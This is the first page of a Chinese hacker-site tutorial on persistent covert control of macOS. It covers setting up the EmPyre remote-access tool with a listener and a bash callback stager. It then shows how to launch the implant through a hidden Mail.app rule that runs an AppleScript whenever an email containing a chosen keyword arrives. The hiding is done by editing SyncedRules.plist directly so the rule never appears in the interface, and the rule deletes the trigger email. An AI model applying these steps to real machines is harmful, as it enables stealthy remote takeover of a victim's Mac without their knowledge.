欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

MacOS安全:通过email稳定控制Mac总结

来源:本站整理 作者:佚名 时间:2016-11-23 TAG: 我要投稿

关于木马稳定控制Mac,有很多种方式,今天跟大家探讨一个通过email稳定控制Mac的方式。网上有一些介绍的文章,但是坑多,现将本人测试经验整理,共同学习。
文章整体分为三个部分,第一部分简单介绍远控工具,第二部分介绍如何通过email去启动木马,第三部分关于全版本MacOS适用的提权
一、远控
使用Empyre,纯python的渗透工具,使用完全类似于Empire
git clone https://github.com/adaptivethreat/EmPyre.git
cd EmPyre
python empyre
设置Linsteners
Listeners
run         //本次测试使用默认地址,根据情况更改配置
生成回连脚本
usestarger bash
set Listener test   // 设置好的listeners名字
generate

至此,远控回连设置完毕
关于mac平台的远控的选择,还可以选择其他多种工具,像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行,像javascript,python 等。或者就最简单的反弹一个shell回来,类Unix平台的控制程序多种多样,根据自己情况先择就好。
二、启动
MacOS自带的Mail.APP

有一个添加规则的功能,触发后可以执行脚本,具体步骤如下:
依次点击  邮件-偏好设置-规则-添加规则,就可以按照常规方式添加规则

然后选择合适的触发规则

最后选择触发后的行为

触发后执行的AppleScript 为script.scpt文件,必须位于:

/Users/$USER/Library/Application Scripts/com.apple.mail/
文件夹中,并且以scpt后缀
为了便于隐藏,推荐直接修改配置文件,设置规则。在配置文件上修改应用的规则不会显示到GUI界面,有较强的隐蔽性。
邮件规则存储文件:

/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
“$USER”就是目标用户的用户名称,“$VERSION”是相应的版本号,版本对应如下:
MacOS Sierra (10.12)V4
OS X El Capitan (10.11)V3
OS X Lion (10.7)V2
OS X Yosemite (10.10)V2
如果机器开启了iCloud同步,那么规则将会被存储到另一位文件中,位于:

/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist
需要注意的是该文件比上一个的文件有高优先级,并且新规则在Mail.APP重启之后生效。
以下是规则文件中内容
    
        AllCriteriaMustBeSatisfied
        NO
        AppleScript
        script.scpt
        AutoResponseType
        0
        CopyToMailbox
        Trash
        CopyToMailboxURL
        Trash
        Criteria
           
               
                    CriterionUniqueId
                    003AC288-64E4-4FA6-99DC-20DDDBA8DDAA
                    Expression
                    test-123
                    Header
                    Body
               
           
        Deletes
        YES
        HighlightTextUsingColor
        NO

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载